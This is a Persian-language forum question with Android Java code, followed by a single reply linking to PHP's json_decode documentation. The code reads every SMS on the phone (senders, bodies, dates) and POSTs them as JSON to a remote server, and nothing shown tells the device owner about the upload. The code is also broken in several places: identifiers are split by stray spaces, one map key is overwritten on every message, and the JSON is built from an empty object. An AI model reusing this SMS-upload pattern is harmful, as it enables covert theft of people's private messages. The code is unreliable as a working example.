دیکد کردن Json

سلام من توی جاوا کدهای زیر رو نوشتم کارش این هست که پیام ها رو استخراج میکنه و بصورت json تبدیل میکنه و باید به سرور ارسال بکنه!تا اینجای کار مشکلی نیست مشکل اینجاست که بلد نیستم با php اطلاعات دریافت شده رو دیکد کنم

package ir.server.android;





import android.app.Activity;

import android.content.ContentResolver;

import android.database.Cursor;

import android.net.ConnectivityManager;

import android.net.NetworkInfo;

import android.net.Uri;

import android.os.AsyncTask;

import android.os.Bundle;

import android.support.design.widget.FloatingActionButton  ;

import android.support.design.widget.Snackbar;

import android.support.v7.app.AppCompatActivity;

import android.support.v7.widget.Toolbar;

import android.util.Log;

import android.view.View;

import android.view.Menu;

import android.view.MenuItem;

import android.widget.Toast;





import org.apache.http.HttpResponse;

import org.apache.http.client.HttpClient;

import org.apache.http.client.methods.HttpPost;

import org.apache.http.entity.StringEntity;

import org.apache.http.impl.client.DefaultHttpClient;

import org.json.JSONObject;





import java.io.BufferedReader;

import java.io.IOException;

import java.io.InputStream;

import java.io.InputStreamReader;

import java.util.HashMap;

import java.util.Map;





public class MainActivity extends AppCompatActivity {

    public Map<String,Sms> texts = null;





    @Override

    protected void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.activity_main);

        Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar);

        setSupportActionBar(toolbar);

        if(isConnected()){

            Toast.makeText(getApplicationContext(),"Internet Connected!",Toast.LENGTH_LONG).show();

        }else{

            Toast.makeText(getApplicationContext(), "No Internet Connection",Toast.LENGTH_LONG).show();

        }

        FloatingActionButton fab = (FloatingActionButton) findViewById(R.id.fab);

        fab.setOnClickListener(new View.OnClickListener() {

            @Override

            public void onClick(View view) {

                Snackbar.make(view, "Replace with your own action", Snackbar.LENGTH_LONG)

                        .setAction("Action", null).show();

                new HttpAsyncTask().execute("insert link to server");

            }

        });

    }

    public Map<String,Sms> getAllSms(){

        Log.e("apps", "hapahapa");

        Map<String,Sms> lstSms = new HashMap<String, Sms>();

        Sms objSms = new Sms();

        Uri message = Uri.parse("content://sms/");

        ContentResolver cr = getApplicationContext().getContentResolver();





        Cursor c = cr.query(message, null, null, null, null);

        int totalSMS = c.getCount();

        Log.e("apps else", totalSMS + "total");





        if(c.moveToFirst()){

            for(int i=0; i<totalSMS; i++){

                objSms = new Sms();

                objSms.setId(c.getString(c.getColumnIndexOrThrow("  _id")));

                objSms.setAddress(c.getString(c.getColumnIndexOrTh  row("address")));

                objSms.setMsg(c.getString(c.getColumnIndexOrThrow(  "body")));

                objSms.setReadState(c.getString(c.getColumnIndexOr  Throw("read")));

                objSms.setTime(c.getString(c.getColumnIndexOrThrow  ("date")));





                if(c.getString(c.getColumnIndexOrThrow("type")).co  ntains("1")){

                    objSms.setFolderName("inbox");

                } else{

                    objSms.setFolderName("sent");

                }





                lstSms.put("AllSMS", objSms);

                Log.d("lstSms", lstSms + "ALLSMS");

                c.moveToNext();

            }

        }





        c.close();





        return lstSms;





    }

    public static String POST(String url,Map<String, Sms> apps ){

        Sms wekasms1 = new Sms();

        InputStream ip = null;

        String result = "";





        try{

            //create http client

            HttpClient httpclient = new DefaultHttpClient();





            //make POST request to the given URL.

            HttpPost httpPost = new HttpPost(url);





            String json = "";





            //build jsonObject

            JSONObject jsonObject = new JSONObject();





            jsonObject.put("id", wekasms1.getId());

            jsonObject.put("address", wekasms1.getAddress());

            jsonObject.put("read", wekasms1.getReadState());

            jsonObject.put("body", wekasms1.getMsg());

            jsonObject.put("date", wekasms1.getTime());

            jsonObject.put("FolderName", wekasms1.getFolderName());









            Log.d("jsonOb", jsonObject+"built jsonObject");





            //convert JSONObject to JSON to String

            json = jsonObject.toString();

            Log.e("converted json to Str", json);





            //**Alternative method of converting Sms object to Json

			/*ObjectMapper mapper = new ObjectMapper();

			json = mapper.writeValueAsString(hizosms);

			*/





            //set json to string entity

            StringEntity se = new StringEntity(json);





            //set httpPost Entity

            httpPost.setEntity(se);

            Log.d("httpPost", httpPost+ "We've set httpPost Entity");

            //Set some headers to inform server about the type of the content.

            httpPost.setHeader("Accept", "application/json");

            httpPost.setHeader("Content-type", "application/json");





            //Execute POST request to the given URL

            HttpResponse httpResponse = httpclient.execute(httpPost);





            //recieve response as inputstream

            ip = httpResponse.getEntity().getContent();





            //convert inputstream to string

            if(ip!=null){

                result = convertInputStreamToString(ip);

            }

        }catch(Exception e){

            Log.d("InputStream", e.getLocalizedMessage());

        }

        //return result

        return result;

    }

    private static String convertInputStreamToString(InputStream ip) throws IOException {

        BufferedReader bfr =  new BufferedReader(new InputStreamReader(ip));

        String line = "";

        String result = "";





        while((line = bfr.readLine()) !=null)

            result += line;

        ip.close();





        return result;

    }

    public boolean isConnected(){

        ConnectivityManager connMgr = (ConnectivityManager) getSystemService(Activity.CONNECTIVITY_SERVICE);

        NetworkInfo networkInfo = connMgr.getActiveNetworkInfo();





        if(networkInfo != null && networkInfo.isConnected())

            return true;

        else

            return false;





    }

    class HttpAsyncTask extends AsyncTask<String, Void, String> {





        @Override

        protected String doInBackground(String... urls) {





            Map<String, Sms> apps = getAllSms();





            final int max = apps.size();





            for(int i=0; i<max; i++){

                apps.get(i);

            }





            return POST(urls[0],apps);

            // TODO Auto-generated method stub

        }

        //display the result of the Asynctask

        @Override

        protected void onPostExecute(String result) {

            Toast.makeText(getBaseContext(), "ALLSMS SENT", Toast.LENGTH_LONG).show();

        }

    }

}

http://php.net/manual/en/function.json-decode.php